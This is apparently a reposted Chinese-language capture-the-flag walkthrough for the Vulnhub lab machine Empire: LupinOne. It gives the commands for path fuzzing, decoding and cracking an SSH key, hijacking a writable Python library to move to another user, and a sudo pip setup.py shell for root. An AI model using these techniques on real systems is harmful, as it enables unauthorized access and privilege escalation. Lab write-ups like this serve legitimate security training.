Vulnhub-Empire: LupinOne題解


Vulnhub-Empire: LupinOne題解

本靶機為Vulnhub上Empire系列之LupinOne,地址:EMPIRE: LUPINONE

掃描與發現

利用arp-scan命令掃描靶機IP

arp-scan -l

利用nmap掃描開放端口

nmap -sV -p- 192.168.164.190

目標探索

瀏覽器打開80端口,發現是一張圖片,沒有其他內容,檢測源代碼也沒有發現有用信息

檢查robots.txt文件發現/~myfiles目錄,打開卻發現Error 404

在舊版本的Apache服務器中,~ 指代用戶主目錄,我們可以嘗試找到與此相似的路徑,使用wfuzz工具對其路徑進行測試,發現~secret目錄

wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.164.190/~FUZZ

在瀏覽器中打開該路徑~secret/發現一段文字

上面稱這是一個秘密目錄,這里隱藏了他創建的ssh 私鑰文件,並且得知用戶名為icex64。接下來繼續在該路徑下搜索文件,得到.mysecret.txt文件

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hc 404,403 -u http://192.168.164.190/~secret/.FUZZ.txt

瀏覽器打開發現是一串編碼后的字符串

可以使用編碼識別工具進行識別,發現其為Base58,使用在線工具進行解碼得到私鑰文件內容

拿到shell

在本地創建文件key,將私鑰保存到其中,然后使用john工具破解密碼

python2 /usr/share/john/ssh2john.py key > keyhash
john keyhash --wordlist=/usr/share/wordlists/fasttrack.txt

得到密碼為P@55w0rd!。將key 文件權限設為600(否則無法連接),然后利用ssh連接icex64用戶

chmod 600 key
ssh icex64@192.168.164.190 -i key

水平越權

拿到shell后搜索suid文件,Capability文件,sudo -l發現可以執行一條命令

來到/home/arsene目錄下,查看heist.py文件權限,沒有修改權限,查看內容,發現其調用了webbrower.open()

我們通過find找到該文件的位置,查看其權限,發現可以寫入內容

find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py

我們可以直接編輯該文件,寫入調用shell腳本(或者反彈shell腳本)

保存退出,執行,獲得arsene用戶shell

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

權限提升

拿到arsene用戶權限后,查看sudo -l,發現可以免密執行/usr/bin/pip

sudo -l

我們可以在當前路徑下新創建一個目錄並打開在里面創建setup.py文件,里面寫入我們想運行的python腳本,如反彈shell,然后利用pip install以root權限執行。

mkdir tmp
cd tmp
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .

來到root目錄下,打開root.txt拿到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM